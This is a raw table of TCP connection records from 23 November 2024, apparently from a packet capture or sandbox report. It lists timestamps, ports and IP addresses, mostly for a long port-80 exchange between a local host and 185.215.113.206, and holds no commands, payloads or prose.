Nov 23, 2024 21:59:39.959670067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.959703922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.960670948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.960899115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.961158991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.962275028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.962287903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.962333918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.963805914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.963855982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.964713097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.964771986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.965373039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.965403080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.965423107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.965467930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.966888905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.967041969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.967190981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.968487024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.968498945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.968540907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.968561888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.970024109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.970076084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.970098972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.970315933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.971594095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.971656084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.971657991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.971729994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.973202944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.973277092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.021513939 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.021680117 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.021935940 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.022241116 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.022254944 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.079576969 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.079610109 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:40.080043077 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.080080986 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.080081940 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:40.080123901 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.080651999 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:40.080679893 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:40.081129074 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:40.081336975 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.081341028 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:40.081347942 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:40.081351995 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:40.081648111 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:40.081657887 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:40.095305920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.095421076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.095444918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.095458984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.096038103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.096074104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.096215010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.096671104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.097486973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.097497940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.097531080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.097544909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.099056005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.099093914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.099122047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.099154949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.100219011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.100234032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.100281954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.101622105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.101684093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.101730108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.101978064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.102885962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.102947950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.103033066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.103974104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.103998899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.104043961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.104079008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.105021000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.105082989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.105142117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.105279922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.106054068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.106103897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.106151104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.106220007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.107091904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.107234955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.107266903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.107301950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.108144045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.108198881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.108360052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.108484983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.109184980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.109273911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.109380007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.109618902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.110301971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.110728025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.110790968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.111306906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.111459017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.111475945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.111790895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.112344027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.112526894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.112572908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.113429070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.113554001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.113636971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.114465952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.114573002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.114634037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.115484953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.115623951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.116250038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.116302967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.116569996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.116617918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.116832018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.117578030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.117686987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.117728949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.118608952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.119035006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.119091988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.119700909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.119749069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.119941950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.120050907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.120728016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.120754957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.120795965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.121778011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.121819973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.122068882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.122112036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.122844934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.122859001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.122919083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.123878956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.124006987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.124047041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.124926090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.124969006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.125066042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.125413895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.125978947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.126049995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.126327038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.126373053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.127027035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.127090931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.127150059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.127830982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.128052950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.128123045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.128225088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.128496885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.129098892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.129406929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.129462957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.130182028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.130192041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.130223036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.130245924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.131198883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.131278992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.131335974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.131839037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.132232904 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.132272005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.132374048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.132464886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.132533073 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.132549047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.132553101 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.133024931 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.133316994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.133403063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.133456945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.133598089 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.133676052 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.134327888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.134362936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.134433985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.134474993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.135404110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.135500908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.135528088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.135867119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.136439085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.136491060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.136684895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.136732101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.137474060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.137533903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.137682915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.137876034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.138572931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.138585091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.138624907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.139640093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.139744997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.139775038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.139806032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.140657902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.140717030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.140752077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.140930891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.141695976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.141757965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.142760992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.142771006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.142795086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.142807961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.142838955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.143762112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.143821001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.143965006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.144105911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.144809008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.144864082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.144948959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.145467043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.145899057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.145961046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.146131992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.146393061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.146936893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.147010088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.147263050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.147871017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.148225069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.148448944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.148507118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.149020910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.149116993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.149118900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.149154902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.150054932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.150099993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.150156021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.150213003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.151117086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.151180983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.151262999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.151473045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.152122974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.152183056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.162558079 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:40.162586927 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:40.163126945 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:40.163300037 CET	49867	443	192.168.2.6	23.59.251.201
Nov 23, 2024 21:59:40.163322926 CET	443	49867	23.59.251.201	192.168.2.6
Nov 23, 2024 21:59:40.252361059 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.282409906 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.289427042 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.289479971 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.290167093 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.290182114 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.305785894 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.305805922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.305887938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.305918932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.306140900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.306176901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.306197882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.306200981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.306241035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.307218075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.307514906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.307564020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.307585001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.308402061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.308469057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.308494091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.308509111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.309259892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.309309006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.309375048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.309422016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.310357094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.310502052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.310549021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.311353922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.311424971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.311486959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.311654091 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.311671972 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.311688900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.312304974 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.312405109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.312452078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.312541962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.312591076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.313522100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.313579082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.313669920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.313714981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.314492941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.314589977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.315071106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.315412045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.315538883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.315651894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.315885067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.315946102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.316608906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.316656113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.316732883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.316939116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.317629099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.317747116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.317774057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.317835093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.318677902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.318725109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.319051027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.319174051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.319741011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.319792032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.319936037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.320111036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.320831060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.320941925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.320965052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.320976019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.321861029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.321960926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.321962118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.322032928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.322935104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.323085070 CET	49809	80	192.168.2.6	185.215.113.206
